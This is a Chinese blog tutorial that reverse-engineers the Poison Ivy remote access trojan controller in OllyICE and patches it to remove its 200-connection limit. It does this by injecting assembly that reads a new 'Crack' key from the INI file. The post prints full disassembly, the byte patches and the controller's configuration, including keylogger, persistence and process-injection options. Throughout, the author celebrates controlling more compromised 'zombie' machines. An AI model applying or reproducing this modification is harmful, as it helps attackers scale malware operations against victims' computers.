清除Poison Ivy 200上线限制

 用OllyICE载入脱壳后的Poison Ivy -> Ultra String Reference -> Find ASCII。看了半天,终于找到了一句有用的
   String:
  
   Ultra String Reference, 条目 1813
    Address=0051170A
    Disassembly=mov      edx, 00511844
    Text String=please assign a password for the connection:
  
   Ultra String Reference, 条目 1814
    Address=0051170F
    Disassembly=mov      eax, 0051187C
    Text String=new connection
  
   直接双击来到这里
  
   005116CD   |.   50             push     eax                               ; /Parm
   005116CE   |.   68 7E660480    push     8004667E                          ; |Cmd = FIONBIO
   005116D3   |.   56             push     esi                               ; |Socket
   005116D4   |.   E8 D7BDF7FF    call     <jmp.&wsock32.#12>                ; \ioctlsocket
   005116D9   |.   81BB 3C070000>cmp      dword ptr [ebx+73C], 0C8
   005116E3   |.   7C 0B          jl       short 005116F0
   005116E5   |.   56             push     esi                               ; /Socket
   005116E6   |.   E8 8DBDF7FF    call     <jmp.&wsock32.#3>                 ; \closesocket
   005116EB   |.   E9 F7000000    jmp      005117E7
   005116F0   |>   8D45 F4        lea      eax, dword ptr [ebp-C]
   005116F3   |.   8B15 ACF35100 mov      edx, dword ptr [51F3AC]
   005116F9   |.   E8 0632EFFF    call     00404904
   005116FE   |.   803D 9DF35100>cmp      byte ptr [51F39D], 0
   00511705   |.   74 12          je       short 00511719
   00511707   |.   8D4D F4        lea      ecx, dword ptr [ebp-C]
   0051170A   |.   BA 44185100    mov      edx, 00511844                     ;   please assign a password for the connection:
   0051170F   |.   B8 7C185100    mov      eax, 0051187C                     ;   new connection
   00511714   |.   E8 AB41F2FF    call     004358C4
   00511719   |>   8D4D C8        lea      ecx, dword ptr [ebp-38]
  
   哈哈,众里寻他千百度,蓦然回首――小样,你在这啊:
  
   005116D9   |.   81BB 3C070000 C8000000    cmp      dword ptr [ebx+73C], 0C8          ; 比较当前连接数和0C8(就是200嘛)
   005116E3   |.   7C 0B                     jl       short 005116F0                    ; 小于200则跳
   005116E5   |.   56                        push     esi                               ; /Socket
   005116E6   |.   E8 8DBDF7FF               call     <jmp.&wsock32.#3>                 ; \closesocket 断开连接
  
   可见在005116DF处的C8000000就是最大连接数,记住这个地址,后面有用的哦。
  
   找到了判断最大连接数的地方,可以直接把005116E3改成JMP,但有一点,假如你肉鸡太多,岂不被DDos了?看来这点还不
   够,我们还得控制最大连接数,也就是让程序随我们的意愿来自动修改005116DF处的最大连接数。考虑了半天,我决定用
   Poison Ivy的配置文件Poison Ivy.ini来保存欲设的最大连接数,以便我们在具体应用时方便地修改。
  
   先看看Poison Ivy.ini的内容吧!
  
   [Disclaimer]       ; 软件的启动模式(是否显示使用协议)
   Show=1
   [Placement]        ; 软件的窗口及控件的大小设置
   MaximizedState=0
   Top=491
   Left=330
   Width=744
   Height=231
   ConTop=145
   ConLeft=110
   ConWidth=650
   ConHeight=380
   Column0=50
   Column1=90
   Column2=90
   Column3=80
   Column4=80
   Column5=60
   Column6=45
   Column7=63
   Column8=67
   Column9=50
   Column10=57
   DataTransfers=0
   [Settings]          ; 很明显是有关控制端的配置信息,就把最大连接数存这吧
   ScrSize=75
   ScrBits=24
   ShareTo=
   ShareToSocks=
   ShareSocks=0
   Port=3460
   Password=admin
   BalloonTip=1
   MinimizeTray=1
   CloseTray=0
   Prompt=0
   PromptExit=0
   SimTransfers=2
   SDrounds=3
   Cache=1
   WindowColor=1
   TimestampColor=1
   KeynameColor=1
   WindowName=008000
   Timestamp=0000FF
   Keyname=808080
   PromptDelete=1
   AutoRefresh=0
   TreeLayout=1
   AutoLookUpdates=1
   AutoRemove=1
   HidePW=0
   [Connection]       ; 配置被控端的信息1
   DNS=127.0.0.1:3460,
   ID=
   Password=admin
   Socks4=0
   S4DNS=
   [Startup]          ; 配置被控端的信息2
   Startup=0
   ActiveXKey={1B4B734A-CC89-9B4A-0705-060108040104}
   [Installation]
   Filename=
   Copy=0
   CopySystem=1
   CopyWindows=0
   Melt=0
   Keylogger=0
   Persistence=0
   [Advanced]         ; 配置被控端的信息3
   ProcessMutex=)!VoqA.I4
   KeyLoggerMutex=VLC9032Ca
   CustomInject=0
   CustomInjectProc=msnmsgr.exe
  
   我就决定在[Settings]里添加一个子项“Crack”,用它来控制最大连接数,OK,开工!!!!
  
   要在配置文件中添加最大连接数的信息,最重要的就是读出最大连接数,那我没就必须找到程序是如何读配置文件的。重
   新回到OllyICE中看String:
  
   Ultra String Reference, 条目 1931
    Address=00514609
    Disassembly=mov      edx, 00514C28
    Text String=settings
  
   Ultra String Reference, 条目 2070
    Address=0051591E
    Disassembly=mov      edx, 00516828
    Text String=settings
  
   其中有很多的Settings,我只选了两处,因为其他的Settings都分布在这两处附近:
  
   00514609处:
  
   005145EB   |.   50             push     eax
   005145EC   |.   B9 5C4C5100    mov      ecx, 00514C5C                     ;   sharetosocks
   005145F1   |.   BA 284C5100    mov      edx, 00514C28                     ;   settings
   005145F6   |.   8B45 FC        mov      eax, dword ptr [ebp-4]
   005145F9   |.   8B30           mov      esi, dword ptr [eax]
   005145FB   |.   FF56 04        call     dword ptr [esi+4]
   005145FE   |.   A0 A7F35100    mov      al, byte ptr [51F3A7]
   00514603   |.   50             push     eax
   00514604   |.   B9 744C5100    mov      ecx, 00514C74                     ;   sharesocks
   00514609   |.   BA 284C5100    mov      edx, 00514C28                     ;   settings
   0051460E   |.   8B45 FC        mov      eax, dword ptr [ebp-4]
   00514611   |.   8B30           mov      esi, dword ptr [eax]
   00514613   |.   FF56 14        call     dword ptr [esi+14]
   00514616   |.   A1 7CF35100    mov      eax, dword ptr [51F37C]
   0051461B   |.   50             push     eax
   0051461C   |.   B9 884C5100    mov      ecx, 00514C88                     ;   port
   00514621   |.   BA 284C5100    mov      edx, 00514C28                     ;   settings
   00514626   |.   8B45 FC        mov      eax, dword ptr [ebp-4]
   00514629   |.   8B30           mov      esi, dword ptr [eax]
   0051462B   |.   FF56 0C        call     dword ptr [esi+C]
   0051462E   |.   A1 ACF35100    mov      eax, dword ptr [51F3AC]
   00514633   |.   50             push     eax
   00514634   |.   B9 984C5100    mov      ecx, 00514C98                     ;   password
   00514639   |.   BA 284C5100    mov      edx, 00514C28                     ;   settings
   0051463E   |.   8B45 FC        mov      eax, dword ptr [ebp-4]
   00514641   |.   8B30           mov      esi, dword ptr [eax]
   00514643   |.   FF56 04        call     dword ptr [esi+4]
   00514646   |.   A0 9AF35100    mov      al, byte ptr [51F39A]
  
   0051591E处:
  
   005158F8    .   50             push     eax
   005158F9    .   B9 5C685100    mov      ecx, 0051685C                     ;   sharetosocks
   005158FE    .   BA 28685100    mov      edx, 00516828                     ;   settings
   00515903    .   8B45 F8        mov      eax, dword ptr [ebp-8]
   00515906    .   8B18           mov      ebx, dword ptr [eax]
   00515908    .   FF13           call     dword ptr [ebx]
   0051590A    .   8B55 A4        mov      edx, dword ptr [ebp-5C]
   0051590D    .   B8 B4F35100    mov      eax, 0051F3B4
   00515912    .   E8 A9EFEEFF    call     004048C0
   00515917    .   6A 00          push     0
   00515919    .   B9 74685100    mov      ecx, 00516874                     ;   sharesocks
   0051591E    .   BA 28685100    mov      edx, 00516828                     ;   settings
   00515923    .   8B45 F8        mov      eax, dword ptr [ebp-8]
   00515926    .   8B18           mov      ebx, dword ptr [eax]
   00515928    .   FF53 10        call     dword ptr [ebx+10]
   0051592B    .   A2 A7F35100    mov      byte ptr [51F3A7], al
   00515930    .   68 840D0000    push     0D84
   00515935    .   B9 88685100    mov      ecx, 00516888                     ;   port
   0051593A    .   BA 28685100    mov      edx, 00516828                     ;   settings
   0051593F    .   8B45 F8        mov      eax, dword ptr [ebp-8]
   00515942    .   8B18           mov      ebx, dword ptr [eax]
   00515944    .   FF53 08        call     dword ptr [ebx+8]
   00515947    .   A3 7CF35100    mov      dword ptr [51F37C], eax
   0051594C    .   68 98685100    push     00516898
   00515951    .   8D45 A0        lea      eax, dword ptr [ebp-60]
   00515954    .   50             push     eax
   00515955    .   B9 A8685100    mov      ecx, 005168A8                     ;   password
   0051595A    .   BA 28685100    mov      edx, 00516828                     ;   settings
   0051595F    .   8B45 F8        mov      eax, dword ptr [ebp-8]
   00515962    .   8B18           mov      ebx, dword ptr [eax]
   00515964    .   FF13           call     dword ptr [ebx]
   00515966    .   8B55 A0        mov      edx, dword ptr [ebp-60]
  
   具体谁是程序开始运行时读取Poison Ivy.ini的地方,不知道。分别下断点,0051591E在开始时断下来,00514609在结束
   时断下来,可见0051591E是读取Poison Ivy.ini,00514609是保存Poison Ivy.ini,知道了这些,继续!!
  
   分析一下,程序是如何读取Poison Ivy.ini里的内容的:
  
   00515930    .   68 840D0000    push     0D84                              ;   压入默认端口
   00515935    .   B9 88685100    mov      ecx, 00516888                     ;   port         INI中保存端口信息的子项名称
   0051593A    .   BA 28685100    mov      edx, 00516828                     ;   settings     INI中保存端口信息的项名称
   0051593F    .   8B45 F8        mov      eax, dword ptr [ebp-8]
   00515942    .   8B18           mov      ebx, dword ptr [eax]
   00515944    .   FF53 08        call     dword ptr [ebx+8]                 ;   进行读取
   00515947    .   A3 7CF35100    mov      dword ptr [51F37C], eax           ;   把读取的值保存到51F37C
  
   00515930处之所以要把默认端口压入,是因为程序怕在读不出配置文件中port这一子项时,使用0来做端口导致出错,可
   见“push     0D84”的作用是让程序在00515944读不出配置文件该项时采用备用值0D84。
  
   好了,打开Topo差入100字节代码空间,(本人懒得去找了可用空间了,还是用工具吧,100字节肯定够用。)Topo中显示
   100字节加到了005A3A33,下面开始添加代码:
  
   首先,用OllyICE二进制编辑005A3A33,加入字符串“Crack”。(别忘了在“Crack”后加“00”。)
  
   接着,在005A3A39处添加我们的代码:
  
   005A3A39     68 840D0000      push     0C8                               ; 压入默认最大连接数,保存备用值200
   005A3A3E     B9 333A5A00      mov      ecx, 005A3A33                     ; ASCII “Crack”      INI中保存最大连接数的子项名称
   005A3A43     BA 28685100      mov      edx, 00516828                     ; ASCII “Settings”   INI中保存最大连接数的项名称
   005A3A48     8B45 F8          mov      eax, dword ptr [ebp-8]
   005A3A4B     8B18             mov      ebx, dword ptr [eax]
   005A3A4D     FF53 08          call     dword ptr [ebx+8]                 ; 进行读取
   005A3A50     A3 DF165100      mov      dword ptr [5116DF], eax           ; 把读取的最大连接数保存到上文提到的005116DF处,替换原来的最大连接数
  
   方便起见,就让程序从00515930处跳到我们这里吧,即:
  
   00515930    .   68 840D0000    push     0D84
  
   改为:
  
   00515930    .- E9 04E10800    jmp      005A3A39
  
   为了使程序正常运行我们还要在005A3A50的下面加入如下代码:
  
   005A3A55     68 840D0000      push     0D84                              ; 把00515930原有功能修改了,最后还是要加上的,所谓“有借有还,再借不难”
   005A3A5A   – E9 D61EF7FF      jmp      00515935                          ; 回归原位,这就相当于台湾再咋拗,到头还是得回归咱中国,呵呵:-)
  
   OK,用OllyICE保存EXE文件,让我来测试一下……
  
   打开Poison Ivy.ini在[Settings]下加入Crack=0,呵呵一个也连接不上了。把Crack=0改为10000,哈哈,肉鸡出现了!!
   再把Crack=0删除,哦~~~~,肉鸡又出现了!!!!!成功!!!!!
  
   最后,给有对本文兴趣的朋友留个小作业:继续对00514609处进行逆向工程,使程序可以在关闭时自动保存当前的最大连
   接数……OK,就到这把!!!

发表评论

您的电子邮箱地址不会被公开。